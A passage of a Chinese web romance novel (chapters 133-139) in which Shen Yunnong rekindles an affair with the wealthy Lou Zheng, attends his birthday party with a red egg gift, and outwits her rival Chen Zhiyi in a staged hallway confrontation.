沈韫浓勾唇:“大概是因为我这个人不怎么在乎脸面吧。” “什么意思?” “在乎面子的人怕闹大,畏首畏尾,也就给了坏人可乘之机。但我不怕。别说画的那个裸体不是我,就算是我,只要没经过我允许挂出来,我依然会这么做。” 也正因如此,沈韫浓不是很理解那些因为被曝光私密照自杀的人,受害者是无罪的,要死,也该是拍照的人死。 郭睿简直对她的理论五体投地。 “好超前的精神状态。沈韫浓,我招你过来果然是招到宝了。” “谢谢,我来上班也很开心。” 这话不是恭维。 工作几天下来,沈韫浓真心觉得阿波罗的工作氛围相当不错。 郭睿管理公司完全是西化的思维,不加班,不应酬,虽然琐事比较多,但比她当时给楼铮做助理,反而简单些,没那么操心。 沈韫浓说给郭睿听。 郭睿被她夸的有点不好意思,随即想起来:“不过,最近有人给我牵线了一个大公司,到时候怕是也要‘中式应酬’一下,还得麻烦你跟我去。” 他在法国长大,对国内这些商务社交实在不擅长。 “不麻烦,都是应该做的。”沈韫浓说。 她跟郭睿聊完就回去工作了,并没有被陈知意影响心情。 没有千日防贼的道理,在她看来,跟陈知意撕破脸是早晚的事,放到明面上,比背后搞小动作还要好些,她不怕。 晚上临下班时间,沈韫浓又接到了楼铮的微信。 “晚上一起吃饭吗?” 刚被陈知意指着鼻子骂过,她不想见他,随口扯谎:“抱歉,跟林贞有约。” 那边没说什么。 又过了一会儿,有个电话打过来,陌生号。 “沈小姐,我是姜枫珉。”一个温润的男声,在电话那边自我介绍。 沈韫浓这才想起昨天林贞说这么个人来找过她,只不过她不认识,就没放心上。 姜枫珉:“我是姜疏桐的弟弟。” 沈韫浓一怔,姜家人不是在国外吗? “您好姜先生。”他客气,沈韫浓自然也很客气。 姜枫珉约她一起吃个晚饭,说自己来海市办点事,顺便替姐姐看看她。 沈韫浓自然没有拒绝的道理。 第一百三十四章 压着人家头发了 姜疏桐已经四十出头,本以为她弟弟也是个中年人。 到了约好的餐厅,在门口看见一个玉树临风的大帅哥等她,沈韫浓才露出惊讶表情。 “请问您是姜先生吗?”她有点不敢置信。 对方看到她倒是没有一点意外,反而带了点审视:“沈韫浓?” 在彼此都得到肯定答案后,姜枫珉先笑了:“还以为看见了我姐年轻时候!” 沈韫浓也真诚夸他:“没想到您这么年轻。” 姜枫珉说,他30岁,比姜疏桐小11岁。 沈韫浓也是这个时候才知道,姜疏桐比顾曦薇还小两岁。 姜枫珉说自己回国考察市场,准备把一部分生意做到海市来。 是姜疏桐知道沈韫浓出了事,才委托他来看看。 “说来也巧,她几乎不上网,偶尔看一次手机,就看到了你的事。”姜枫珉道,“但那幅画被警方收走了,我也没能帮你买回来。” 他语气里有点没帮上忙的遗憾。 沈韫浓感激,笑道:“我跟疏桐阿姨比较投缘,谢谢她惦记我了。” 又道,“不用担心,那幅画不是我。就算是我也不怕。” 两人复盘这件事,姜枫珉夸沈韫浓办得漂亮。 “你是个很勇敢的女孩子,是个能做大事的人。” 也许是因为有姜疏桐这个中间人的缘故,沈韫浓和姜枫珉看彼此没有什么陌生感,一顿饭聊得还算愉快。 姜枫珉问了沈韫浓一些海市的状况,又说了一下自己未来的规划,他在海市的城郊买了上千亩地建厂,应该很快就过来发展了。 “我们离开海市很多年了,现在很多东西都不熟悉,到时候兴许也有麻烦到你的地方。”他说。 沈韫浓自然没二话。 吃到最后,加了微信,还一起喝了一杯,之后才从餐厅往外走。 下楼时,恰逢一个服务员端着两个巨大的盘子往上走。 沈韫浓反应不及,险些被其中一个盘子碰到。 多亏姜枫珉扯着她的衣袖将她往旁边一拉。 “多谢姜先生。”沈韫浓道谢。 不知为什么,她察觉到了一股凉意,从楼下直接冲到她脸上来。 她低头,便对上了楼铮冷冰冰的目光。 楼铮身边是霍司岐和周彦。 除了楼铮目光要杀人,另外两个都是看好戏的模样。 心跳开始错拍,沈韫浓抿唇,不知道该不该打招呼。 还是周彦先开口:“沈小姐,这么巧在这遇见。” 又看向姜枫珉,“这位是?” 姜枫珉虽然不在海市,但做生意,总看财经杂志,一眼就认出了楼铮。 也看出了楼铮和沈韫浓之间的波涛暗涌。 沈韫浓凝神:“这位是姜先生,我……朋友。” 她之所以顿一下,是不知道该如何解释姜枫珉的身份。 说他是朋友的弟弟,那就要说那位朋友是谁,太麻烦。 可听在楼铮耳朵里就变了味儿。 朋友就朋友,有什么不能大大方方说的,顿一下是什么意思? 而且拿跟林贞有约做借口,这是有什么见不得人的! 楼铮又开始生气。 沈韫浓察觉到了楼铮的不悦,硬着头皮假装没看到,又跟姜枫珉介绍:“这位是楼铮,楼小爷,这两位是周少和霍少。” 好在姜枫珉是个见过世面的人,他彬彬有礼,对三人点头致意。 “那我们就先走了。”沈韫浓说,跟姜枫珉出了餐厅的门。 “送你回去吗?”姜枫珉问。 “不了姜先生,我打车就行。”沈韫浓说,看着姜枫珉上车。 她直觉自己走不了。 一看手机,果然。 “去车上等我”楼铮发微信说。 连标点符号都没有的五个字,硬是让她看出了怒气。 沈韫浓叹口气,环顾停车场,找楼铮的车。 楼铮的司机先找到她,替她拉开了后排的车门。 坐上车沈韫浓就开始翻包,还好,今天带了那张有百万“巨款”的卡。 楼铮来得很快,一坐下就先扳过沈韫浓的脸,要发火。 沈韫浓赶紧先发制人。 “你要是能跟我好好说,我就告诉你姜先生怎么回事。要是发脾气,我现在就走。” 楼铮一肚子火气被堵回去,脸都憋紫了。 他咬牙切齿:“好,你说,我倒要看看,你能不能说出花来。” 姜疏桐的事,不算隐私,没什么不能让楼铮知道的。 “姜先生是我一个朋友的弟弟,你还记得我那次去茅崖寺吧?” 沈韫浓一五一十地把自己和姜疏桐的渊源说了,又说姜枫珉来看她,是受了姐姐委托。 楼铮的脸色迅速缓和,把沈韫浓都看呆了。 她实在是想不明白,这个平日里在外面喜怒不形于色的人,怎么会在她面前这么情绪化。 太难伺候了。 “当时我跟你说跟林贞有约的时候,还没接到他电话。只是……” “只是不想见我而已。”楼铮的脸又板起来。 沈韫浓无可辩驳,垂下眼去。 车轱辘话她都说累了。 “真想掐死你。”楼铮气鼓鼓,两只手环住她的脖子。 他想用力,又不舍得,最终也不过微微压紧。 沈韫浓脑子迅速运转,想跟他说还卡的事。 把那张卡直接留在他车上也可以,密码发他微信。 她实在不想吵架了。 这时,楼铮的电话响了,沈韫浓看到了备注:陈知意。 楼铮开免提接,她说的话清清楚楚。 “你干嘛呢阿铮?” 才过了一天,陈知意已经把昨天的龃龉忘得一干二净,又是朋友聊天的语气了。 沈韫浓在心里赞叹她一声能屈能伸。 “怎么了?”楼铮反问她。 陈知意东扯西扯了几句,才直入主题。 “你看到网上说我的那些话了吧?我让人去查了,就是沈韫浓搞的鬼。” 沈韫浓:WTF? 楼铮看沈韫浓一眼,冷淡回复:“是么?” “是,她给了那些水军不少钱。说我怎么样没关系,但陈家跟楼家走这么近。奶奶又买过我不少画,这就是变相说楼家洗钱。沈韫浓这么抹黑楼家,实在是对不起你这么护着她。” 楼铮不动声色:“好,知道了。” 陈知意没料到他这个反应,顿了一下才道:“阿铮,我跟沈韫浓打过交道,之前她是你助理我不想说,她是什么人我最清楚了。她就是想攀高枝,只要有钱,是个男人都行。” 沈韫浓在一旁听得心里冷笑,恶向胆边生。 她深呼吸,调整状态,之后夹着嗓子地对着手机喊了一声:“铮哥,你轻点,压着人家头发了!” 第一百三十五章 生日礼物 沈韫浓的声音腻死人。 楼铮皱着眉头看她一眼,马上知道了她的用意。 他低笑,语带宠溺:“自己抱着我不松手,现在又嫌我用力,怎么这么难伺候。” 这话说出来,陈知意想不误会都难了。 “沈韫浓在你身边?你们在干什么?”她歇斯底里,语气里有质问的意思。 沈韫浓凑近手机:“你错了,确切的说,我不是在他‘身边’,而是在他‘身下’。当然,你最好现在挂了,因为我马上就要到他‘身上’了。” 陈知意的大家闺秀风范,再也装不下去了。 她在那边尖着嗓子喊:“沈韫浓,你不要脸!” 楼铮直接把电话挂了,手机扔在一旁,之后,似笑非笑地盯着沈韫浓。 沈韫浓是睚眦必报的性格,刚才那一出完全是为了气陈知意,眼下电话一挂,就有点不好收场。 她下意识要往旁边坐坐,屁股刚要挪过去,已经被楼铮掐着腰抱孩子一样地抱到了他腿上。 “又想用完了就扔?渣女!” 那样明确的身体反应,沈韫浓就算是根木头也能察觉。 她的耳朵一点点红透。 “楼铮,我刚才只是为了气陈知意,你冷静。”她把手撑在他胸口,身子往后躲。 她越躲,楼铮越将她往前压。 “冷静不了。”他的声音很粗沉,一呼一吸间,热气喷洒在她露出的皮肤上。 惹得沈韫浓微微战栗,毛孔都张开来。 豪车的后排空间并不逼仄,可即便这样,依然让沈韫浓觉得透不过气来。 她强压着躁动不安的心跳,跟楼铮商量:“你先放开我,我们有话好好说。” 楼铮嗓音沙哑又低沉:“哄我没用,你得哄它。” 沈韫浓慢半拍:“哄谁?” 意识到自己问出了什么蠢问题时,她的脸直接一路红到了脖子。 她想动,又不敢,整个人被楼铮身上的荷尔蒙气息裹挟着,双腿发软,急得汗都要流下来。 “明知道自己躲不掉,偏偏不认命。我怎么喜欢你这么个犟种呢。”楼铮靠在她耳边低语,不知是说给她听,还是在自嘲。 他说喜欢她。 沈韫浓心跳快得越发离谱,她觉得再这样下去,自己一定会得心脏病。 还没开口,耳垂突然被含住。 湿热的电流从这个莫名的位置一路钻到颅内。 沈韫浓软在楼铮怀里,失去了所有反抗能力。 楼铮的唇凑过来的时候,她没有拒绝。任凭他托着她的下巴,把这个吻一点点加深。 车子一路从餐厅驶往楼铮梧桐街的别墅。 一路上他都不肯放开,缠着她接吻,手臂勒紧她的腰,力道之大,恨不得将她揉进自己的身体。 沈韫浓起初还有些清醒,到后来脑子像渐渐被抽空,到家后一路被楼铮从停车场抱到他房里,已经完全忘了反抗。 越是禁忌的东西,越让人着迷。 沈韫浓知道这是不对的,可楼铮于她是瘾君子的那支烟。 见不到还好,见到了,被人硬塞到嘴里,真的很难拒绝。 她鄙视自己捉襟见肘的自控力,却又实在拒绝不了身体的欢愉。 沉寂的情绪被他指引,点燃,一次次送上峰值。 只是没料到,楼铮会在这时候使坏。 他明明自己忍得额上青筋暴起,却还能坚持一次给一点,又不肯给满。 让她在受不了身体和情绪的煎熬,不得不哼哼唧唧求他。 “答应我一件事就给你。”楼铮托着她的下颌,看进她的眼睛里。 他眸子里爱意混合着占有欲,还有一些说不清道不明的情绪,不知是无奈还是委屈,看得沈韫浓心惊。 人在这种时候,多么离谱的条件都能答应。 沈韫浓茫然点头,像嗷嗷待哺的幼兽一样偎在他怀里。 发抖的身子和那双湿漉漉的眼睛实在可怜,楼铮的心软成一滩水。 “以后不管什么时候,都不许把我推给别人。沈韫浓,对我的占有欲强一点,好不好?” 他呷她睫毛上的水珠,喉结滑动,因为忍耐形成的汗珠滚到她的脸上。 欲望里一旦掺杂了爱,心思竟然比被下药那天还强烈,沈韫浓根本没听懂楼铮在说什么,只觉得所有的感官承受能力已到极限。 可她拼命点头,他说什么都答应,满脑子只有一个念头,想要他。 她难受,楼铮更难受,但沈韫浓失控的模样狠狠取悦到了他。 都说男人那里硬的时候,心肠会变软。他的自控力也就能撑这么一会儿,很快溃不成军。 午夜12点,沈韫浓靠在楼铮怀里喘息。 别墅的自鸣钟突然响起,一个突兀的报时。 不像一直有的,没人在午夜定闹钟,应该是只定了今天。 沈韫浓像一个戒烟又复吸的人,脑袋被大量的愉悦填充,飘飘欲仙。 她想起一件事。 于是,抬起一双被情.欲浇湿的眼看他:“楼铮,生日快乐。” 她猜对了。 楼铮亲她的眼睛:“谢谢宝贝。这是我23年来收到最好的生日礼物。” 这声“宝贝”叫得太苏,沈韫浓直接失守。 事后,又是楼铮抱着她洗澡。 她在楼铮怀里从昏昏欲睡到意识全无,什么时候回床上去的都不知道。 第二天早上,又是沈韫浓先醒。 她一抬眼,便看到了楼铮艺术品般的下颌线。 身体的酸软提醒着她昨夜的放纵,沈韫浓不自觉地轻咳了一声,就要起身。 她刚撑起一条手臂,还没有别的动作,身旁的人已经“咻”地一下坐起身来,居高临下看她。 楼铮神情警惕:“沈韫浓,今天我生日,你要再敢提裤子不认人,我就去外面贴大字报控诉你!” 他流程熟练得让人心疼。 沈韫浓失笑:“我没要走,想下去喝口水。” 楼铮瞬间放松下来。 “那你别动,我去给你接。”他说着,掀开被子下床,去客厅端了水回来。 他不给她,而是直接把杯子送到她嘴边。 沈韫浓这才坐起身,就着楼铮的手把水喝了。 楼铮裸着上身,两人的距离又近,沈韫浓能清清楚楚看到他身上交错纵横的痕迹。 被她的指甲抓的,牙咬的,新伤覆盖着在澳城留下的旧伤。 好容易褪去的热度又上来,沈韫浓的脸一点点红透。 偏偏楼铮还不肯放过她,把她剩下的半杯水一饮而尽后,又躺回了她身边,把人半抱在怀里:“脸这么红,你这是想什么羞羞的事呢,嗯?” 第一百三十六章 想看修罗场 “没想什么,你放开,我一会儿要去上班,别迟到了。” 美色误事,沈韫浓心虚,不得不找借口开溜。 楼铮摸过床头的表看一眼,很淡定:“还有一个半小时,留给你吃早餐20分钟,上班路上20分钟,时间紧任务重,快点,要来不及了。” 沈韫浓起初没懂这句话的意思,直到再次被楼铮将双臂举过头顶。 再快乐的事没有节制也会倦怠,起初沈韫浓还开心配合,到后面已经开始摆烂了。 先是消极抵抗:“累了,不要了。” 到后来开始发脾气,踢他胸口:“你有这个蛮力不如去乡下种地!” 楼铮哭笑不得,一边取笑她只顾个人享受,没有服务意识,一边又不得不迅速结束,抱着她去浴室。 沈韫浓摆烂摆的彻底,连刷牙都是半阖着眼坐在洗手台上,由楼铮替她完成的。 之后,楼铮去拿了条新裙子,就在浴室帮她换上。 顺势抱她下楼:“走,去吃早餐。” 早餐很丰盛,但沈韫浓提不劲儿,全程拿着片涂了果酱的吐司机械吞咽,发呆。 她懵懂的模样,把楼铮逗笑。 “这就不行了?还是缺乏锻炼。你以后要跟我过一辈子,难道要天天打着瞌睡吃早餐?” 沈韫浓努力把瞌睡赶走,目露凶光:“你要再说半句,我就把果酱扣你头上。” 吃完饭,楼铮坚持送她上班,沈韫浓坚持拒绝。 开玩笑,她一个月薪一万多的助理,坐千万级豪车上班,不得被人蛐蛐死。 楼铮拗不过她,只能把她送到别墅门口,看着她上了网约车。 “沈韫浓,我晚上在云顶酒店过生日。”他不忘扶着车门提醒。 “好,我下班就过去。”沈韫浓点头。 他一年就过这么一次生日,能不扫兴还是不要扫兴,反正她和楼铮之间也是一笔烂账,有什么事等过完生日再说也不迟。 到公司后,“运动过度”的沈韫浓,狂喝了三大杯冰美式才把那点疲惫感压下去,让自己把注意力放在工作上。 忙起来还好,可稍有空闲,她就开始想楼铮。 她想他沉迷的模样,想他早上那句话—— “你以后要跟我一辈子,难道天天打着瞌睡吃早餐?” 她摇了摇头,把这句话赶出脑袋,他们之间有不可逾越的鸿沟,一辈子真的是太难的事。 可这个站在金字塔顶端的男人,能用最平常的语气说出这句话,起码证明,他在那个瞬间真的是这样想的吧。 想到楼铮,沈韫浓又想自己。 她了解自己,知道自己看似一腔孤勇,实则性格太谨慎,还“无利不起早”,不愿意为一时的欢愉做没结果的事。 但凡换一个人,都不需要楼铮费这么多心思,早已缴械投降。 跟这样的男人恋爱过,简直是给履历上镀金,哪怕没有结果又怎么样呢?是她自己瞻前顾后,不肯给自己任何试错的机会。 她知道的,自己动摇了。 下班后,沈韫浓回了趟林贞的住处,换了身衣服,又准备了个东西才过去。 楼铮这个人,性子冷,又不是个好相与的,他平时不太喜欢参加聚会,玩也只在小圈子里跟有数的几个人玩。 因此他的生日也从来都不像其他世家公子那样张扬,最多找个最大的包间请客吃饭意思意思,参与人数从来控制在20人以内。 不仅如此,他还要提前离场,从来不肯留到最后。 即便这样,能有幸被楼铮邀请的人,依然兴奋得如同获得了财神爷点名,是无上的荣耀,能吹一整年。 每年的生日会楼铮都兴趣缺缺,但今年因为沈韫浓会来,变得有所不同,他挺期待。 稍稍有点意外的是,沈韫浓还没到,陈知意和宋悠悠先不请自来了。 陈知意先到,好像两天前的“画展风波”跟没发生一样,一进门就热络的跟大家打招呼。 圈子里的人,除了周彦,霍司岐和蒋煜这三个楼铮的死党,其余人都不知道陈知意和楼铮的‘婚约’有变,都赶忙把她往楼铮身边让。 众人起哄,陈知意也不推辞,笑盈盈往楼铮身旁一坐。 之后,歪着头两个人能听到的声音低声道:“我能坐这里吗?沈韫浓来了,不会生气吧?” 才过一天,她又换了新说辞,表现出一副“好哥们儿”样子来。 楼铮:“怕她生气你还坐?” 陈知意厚着脸皮道:“有我在还能帮你打掩护,你该不会觉得奶奶能接受你跟一个这样的女孩在一起吧?” 楼铮不接她话茬,而是问:“是你自己找人换位置,还是我帮你?” 陈知意蹙眉:“楼铮,这么多年的交情了,非要闹成这样?” 楼铮:“原本可以一直做朋友,是你自己没摆正自己的位置。” 陈知意被楼铮怼得下不来台,她恨不能站起来直接撂脸儿走人。 但残存的理智告诉她不可以这么做。 这些人要是看到她跟楼铮闹僵,以后,圈子里就都会知道她不受楼铮待见,她的脸才是真正丢光了。 陈知意脸色难看,觉得进退维谷,恨不得原地消失。 她真是疯了,才想着缓和关系,过来凑楼铮生日的热闹! 此时,周彦和蒋煜端着酒杯走了过来。 蒋煜随意坐在了楼铮的另一边,做出一副要聊天的架势。 周彦客气地跟陈知意打商量:“陈小姐,我有点事跟阿铮聊,方便换个位置吗?” 如果不是太多人在场,陈知意恨不得给周彦磕一个感谢他的救场之恩。 “当然,你们聊。”她强撑着微笑,做出一副端庄大方的模样,默默地换了位置。 而宋悠悠来时,就没有陈知意张扬了。 她上次在楼铮这里吃了瘪,这次是鼓足勇气为了缓和关系来的。 一来,就主动坐在了席末的位置,不求出风头,只求楼铮能看到她就好。 当然,宋悠悠也没错过陈知意吃人的目光,她也只是缩了缩脖子,并不敢叫嚣。 沈韫浓是最后一个到的。 她推开包间门时,习惯性扫了一眼眼前的阵仗。 先愣了一瞬,随即将一只手背在身后,挂上程式化笑脸:“大家都到了啊?抱歉,我来迟了。” 真没想到陈知意和宋悠悠也在,她看了一眼楼铮,这是什么恶趣味,这么喜欢看修罗场吗? 第一百三十七章 除了你谁会把他当孩子 楼铮坐主位,面向门口,在沈韫浓推门进来的一瞬间就看到了她。 她穿了那件牛油果绿色旗袍,化了淡妆,俏生生站在那里,脸上有一闪而过的不豫。 只是一瞬间的表情,却被楼铮看在眼里,他已经开始跟着不高兴了。 当着那么多人面,他不好把陈知意和宋悠悠两个扫兴的女人赶走,只给了沈韫浓一个宽慰的眼神,不知道她看懂没有。 沈韫浓一来,周彦和蒋煜纷纷起身,要给她让座位。 “来,沈小姐,坐这里!”周彦先说。 蒋煜也马上道:“还是坐我这里,左边为尊。” 不远处的霍司岐也跟她打了个招呼:“沈小姐刚下班吗?” 这三人跟楼铮走得最近,见他们这样抬举沈韫浓,在座的人都意识到了她身份的不一般,赶忙纷纷跟她寒暄——除了陈知意和宋悠悠。 沈韫浓滴水不露,客客气气跟众人打过招呼,又跟楼铮说过生日快乐后,拒绝了周彦和蒋煜的好意,坐在了原本就空着的一个位置上。 楼铮不错眼地看着她落座,自然也注意到了她将手往后藏的动作。 “拿的什么?”他问。 沈韫浓瞬间有点不好意思,面上却波澜不惊,只犹豫了一下,就把手又拿到前面来,展开袋子给楼铮看:“红鸡蛋。” 过生日吃红鸡蛋,是她老家的习俗。 沈韫浓自10岁后就没有再过生日了,但她记得父亲活着的时候,每年都会在她生日的时候煮一颗鸡蛋,用食用色素染红。 今天也许是想楼铮太多次,她脑子一抽,下班后就回去煮了颗蛋带过来。 临时找不到颜料,便用腮红代替。 因此,那颗蛋确切来说应该是粉色的。 做的时候不觉得有什么,一路上带来也没觉得不妥,直到推开门看见满屋子人,她才觉得有点不好意思。 这也太幼稚,有点拿不出手了。 “我们老家小孩子过生日要吃红鸡蛋,寓意着趋吉避凶,就给你煮了一个。”沈韫浓语气平静,实则心里有种不合时宜整花活的尴尬,觉得自己像个显眼包。 有人想接过来递给楼铮。 楼铮却抢先一步,微微起身,亲自把那颗蛋接了过来。 漂亮的椭圆形白色鸡蛋,上了一层腮红,像一张娇羞的脸。 楼铮托在手心看。 “多谢,我很喜欢。” 语气平静,可任谁都看得出来,他被哄得心花怒放。 这……几百万的礼物,不看一眼,收到一颗鸡蛋这么开心?肯定不是鸡蛋有什么特别,而是送的人太不一般。 一时间,全桌人的目光都在楼铮和沈韫浓脸上逡巡。 不对劲,这两人非常不对劲。 而周彦,蒋煜和霍司岐三个死党则是互相递眼色,都在心里笑楼铮没出息。 周彦先调侃了一声:“沈小姐,除了你,谁还会把阿铮当小孩子!” 蒋煜更是夸张,笑得意味深长道:“还是沈小姐会,你一出手,显得我们这些花百来万买礼物的人都太不走心了!你赢了!” 霍司岐也说:“今年你稳赢,想想跟阿铮提什么要求吧。” 见沈韫浓不解,马上有人好心为她解答。 原来,楼铮每年的拆生日礼物环节是众人最期待的。 规则是所有人把礼物摆在门口的桌子上,楼铮盲拆,哪个礼物最受好评,送礼物的人可以跟楼铮提一个要求。 周彦:“这个时候,不管跟阿铮要房,要车,还要资源,基本上都能得到满足,只要不要他这个人就行。” 蒋煜补充:“是你的话,你随便要什么,他都能把自己倒贴给你。” 众人一起大笑。 在座的都是人精,面上捧场,实则一个个都在心里猜测沈韫浓和楼铮的关系。 等再看陈知意和宋悠悠,眼神就变了味儿。 楼铮对沈韫浓和对她们两人的态度完全不同,谁被放在心上,一眼便知。 宋悠悠之前一直被蒙在鼓里,但此刻就是再蠢也弄明白了怎么回事。 她恨恨地低下头去,满心怨气,却根本不敢看沈韫浓的眼睛。 但陈知意像没听懂一样,坐得直直的,唇边始终噙着一抹笑,看上去非常宠辱不惊,有大家风范, 沈韫浓当然也注意到了全场的目光。 她觉得自己这个风头出的不应该,想起一句经典影视作品里的名言来—— “人家秋雅结婚,你搁这又唱又跳。” 越发后悔送什么劳什子红鸡蛋。 她该去挂个脑科看看。 “我这个充其量只能算个小心意,不算礼物,还是让楼小爷选大家的吧。”她说。 楼铮对她“小爷”的称呼极其不满,睨她一眼,嘴上坚持:“可我最喜欢这个,而且,你已经送了我袖扣,我也喜欢。” 他“不经意”抬腕,把袖口的那对铂金袖扣展示出来。 众人眼睛都看直了。 沈韫浓:??? 球球了,闭嘴吧。 这是生怕别人发现不了他们有奸情吗? 好在没人敢调侃楼铮,不然,她更下不来台了。 最终,霍司岐从中撮合,选了个折中的办法:楼铮从那些礼物里再选一个,和沈韫浓的红鸡蛋并列为最喜欢。 楼铮有的是钱和资源,不怕谁拿到找他要东西,往年也从来没有在乎过这些,抽到谁是谁。 可今年不同。 今年有了在乎的人,他加倍小心,生怕万一抽到陈知意和宋悠悠,给沈韫浓添堵。 他何等聪明,别人的礼物认不出来,三个死党的还是能猜个八九不离十,愣是从一堆礼物里选出了周彦的,和沈韫浓并列第一。 最终决定,沈韫浓和周彦每人可以跟他提个要求。 周彦毫不客气:“我要你今天开来的那台车!” “拿着!” 楼铮随手把车钥匙丢了过去。 是一辆法拉利。 众人的目光又投向沈韫浓。 沈韫浓:“我暂时没什么想要的,要不先欠着?” 她明显已经有点因为那个红鸡蛋坐立难安,楼铮也怕玩过火她不高兴,自己得不偿失。 马上递台阶:“行。等你想到了找我兑现。” 这茬终于过去,沈韫浓松了口气。 好酒好菜一样样端上来,众人吃饭聊天,氛围还算愉悦。 沈韫浓再不想做任何引人注意的事。 极力降低存在感,把心思放在吃饭上。 餐桌上有一道见手青烧得特别鲜,让她仿佛一瞬间回了花都。 那道菜,她吃得最多。 第一百三十八章 走绿茶的路 这顿饭,楼铮挺高兴,快结束的时候,众人提议转第二场。 也在云顶,不过是不同的楼层,有KTV和棋牌室。 期间,沈韫浓去洗手间,一出来,便在走廊里遇到了靠墙等她的陈知意。 陈知意冷冷看她,一张嘴就是:“沈韫浓,你哄男人真有一套啊,不愧是婊.子的女儿。你妈是明着婊,你是偷着来,这么看,你段位更高。” 沈韫浓立住。 她听人说话,不太听内容,更多会听话里的用意。 沈韫浓脑子飞速运转:刚才陈知意在饭桌上还很理智,不可能突然就发疯。 这里离包间不远,她在这里对她言语辱骂很可能被撞见,有损她一贯以来的形象。如果只是为了出气,完全可以等离开后回家再骂。 唯一的可能是:陈知意是故意的,要在这里激怒她,最好逼自己跟打宋悠悠一样,出手打她。 这样,便给自己扣上一个“仗势欺人”“恃宠而骄”的大帽子。 这么玩是吧?好! 那就陪她玩玩儿。 沈韫浓根本不生气,勾唇回敬:“那也比不了陈小姐这个汉子.婊。一边嘴上说着不喜欢楼铮,一边要把她身边的女人赶尽杀绝。” 就她会骂人吗?沈韫浓是不屑于斗嘴,一直秉承能动手坚决不吵吵的原则。 可陈知意要吵架,那就吵。 敌不动我不动。 她倒要看看陈知意狐狸尾巴什么时候露出来。 陈知意知道宋悠悠挨打是因为骂了沈韫浓母亲,上次她也是骂了顾曦薇之后沈韫浓才对她放狠话的,所以这回,她还是用了同款话术。 可沈韫浓不按套路出牌,她有点懵。 于是,她加大火力,继续捡难听的说:“我怎么做还用不着你来评价,你一个小门小户出来的,没见过世面。你妈自己都是个靠色相吃饭的,除了教你爬楼铮的床,怕也教不了你别的。沈韫浓,楼铮跟你也就是玩玩,你还当真了。” 沈韫浓勾唇:“哦,那楼铮怎么不跟你玩呢?是你不想玩儿吗?还是,你连婊·子都不如啊?” 陈知意原本的目的只是激怒沈韫浓,让她先动手,没想到沈韫浓不仅不动手,还踩着她的命门蹦迪,脸都气绿了。 “你得意什么?就算你和楼铮睡了,只要楼家老太太不同意,你也只能永远是个见不到光的情人!跟楼氏的继承权比起来,你算个什么东西啊?现在你有多得意,到时候被抛弃就有多丢脸!” 沈韫浓不动气,更不动手。 她上下打量陈知意,语气闲在:“陈小姐,既然知道我以后会那么惨,你现在急什么?再说,老太太不同意我就进不来门,当情人?呵,陈小姐还活在清朝呢,现在是社会主义了,别说婚姻自由,就算我跟楼铮最后没结婚,现在,我们俩男未婚女未嫁的,我们也是正经男女朋友。比你想睡都睡不到的,要名正言顺得多!你骂我这么难听,无非就是嫉妒。把我骂得心情不好了,最后楼铮还有来哄我,你岂不是得不偿失?” 两人谁也不动手就动嘴皮子,附近包间门开了两回,里面的人有出来打电话的,有出来上洗手间的,陈知意明显已经有点急了。 她往前一步,离沈韫浓近了一点。 沈韫浓预判了她的预判,面露惊恐之色,往旁边猛地一躲,摔到了地上。 “陈小姐,求求你不要打我了,我和楼小爷只是朋友,真的没有别的意思!”她捂着脸,倒在地上喊。 陈知意准备的表演被抢先一步,她愣在那儿,竟然有一瞬间没有反应过来。 再反应过来时,已经有两个世家公子已经大步走了过来。 接着,包间门打开,楼铮也出来了。 两人原本是想劝架,可看到了楼铮的神色,脑子灵光地迅速站了队,都过来关心沈韫浓。 “沈小姐,你没事吧?”嘴上关心,却不敢扶她。 只能等楼铮过来,扶她站起来。 陈知意的表情像打翻了调色盘,精彩极了。 楼铮冷冷地看着陈知意,语气带了几分烦躁的狠厉:“陈知意,你够了!你到底还要闹到什么时候?我不是你什么人,跟谁交往用不着跟你报备。你要是再敢动沈韫浓一根汗毛,明天就不要在海市出现了。” 陈知意被楼铮当着外人的面呵斥,一时间涨红了脸。 “楼铮,我们二十年的交情,比不过一个沈韫浓吗?我根本没动她,是她,她假装摔倒陷害我!” 预谋被打乱,她气急败坏。 沈韫浓偎在楼铮手臂上,看了一眼陈知意,委屈巴巴:“阿铮,算了,是我不小心,陈小姐刚才确实没有碰到我,更没有打我。” 说完,沈韫浓在又往楼铮怀了缩了缩,在别人看不到的角度,给了陈知意一个挑衅的微笑。 说的全是实话,可配上那神情语气,效果比直接告状来的都好。 “贱人!你陷害我!”陈知意百口莫辩,已经气得歇斯底里,冲过来竟然想当着楼铮的面对沈韫浓动手。 楼铮一挡,陈知意的巴掌没有落在沈韫浓脸上,而是打在了楼铮的手臂上。 “啪”的一声,力道之大,听得沈韫浓直皱眉头。 知道自己误打了楼铮,陈知意自己也傻了。 这个巴掌声,像一盆冰水浇在她头顶,她匆忙道歉:“对不起,对不起。楼铮,你疼吗?我不是故意的。” 说着就想过去撩开楼铮的衬衫袖子,看看他的手臂有没有被自己打红。 那对袖扣太刺眼,陈知意的手在半空停下。 她后悔了,这些年为了面子装过了头,搞得圈子里都以为她不喜欢楼铮,现在骑虎难下,自己再想说喜欢他也晚了。 陈知意心如刀绞,满腹委屈。 明明是自己谋划失败,被人反击,可她像自己遭了栽赃。 她的眼睛一点点变红,眼泪不受控制地涌出。 “楼铮,我真的没有打她!她冤枉我。你不能是非不分!” 楼铮冷冷地盯着陈知意:“她说了你没打她,可你刚才不就给我给我演示了一遍吗?” 沈韫浓退出楼铮的怀抱,卷起他的衣袖,果然,上面一个鲜红的手指印。 她转头瞪着陈知意:“陈小姐,你看不惯我就冲我来,为什么要迁怒楼小爷!” 陈知意瞬间炸了。 “沈韫浓!你这个死绿茶!你诬陷我!好,我现在就打死你,把这个罪名坐实了!”她张牙舞爪,猛地扑过来。 沈韫浓又立刻缩回到楼铮的怀里。 周围那么多人在,陈知意自然是没机会到沈韫浓面前的。 温香玉软满怀,楼铮强压下嘴角,冷下脸训陈知意:“陈知意,我给陈奶奶最后一点脸面,你自己走。” 陈知意脸上早就失去了表情管理,她气得胸口上下起伏。 “好,楼铮,好!”她指着楼铮,气得说不出话来,最终,怒气冲冲,一阵风似地走了。 看着陈知意的背影,沈韫浓勾唇。 此时,只听头顶一声低笑,楼铮附在她耳边:“怎么样,演得开心吗?” 第一百三十九章 搬过来跟我住 沈韫浓抬头,对上一双饱含戏谑的眼。 没人敢看楼小爷的戏,周围的人都已经散了。 楼铮还维持着刚才抱着她的姿势,一只手臂环着她的腰。 他眼里没有被利用的恼怒,全是对自己看透一切的骄傲。 沈韫浓尴尬,从他怀里退出来,保持半步距离。 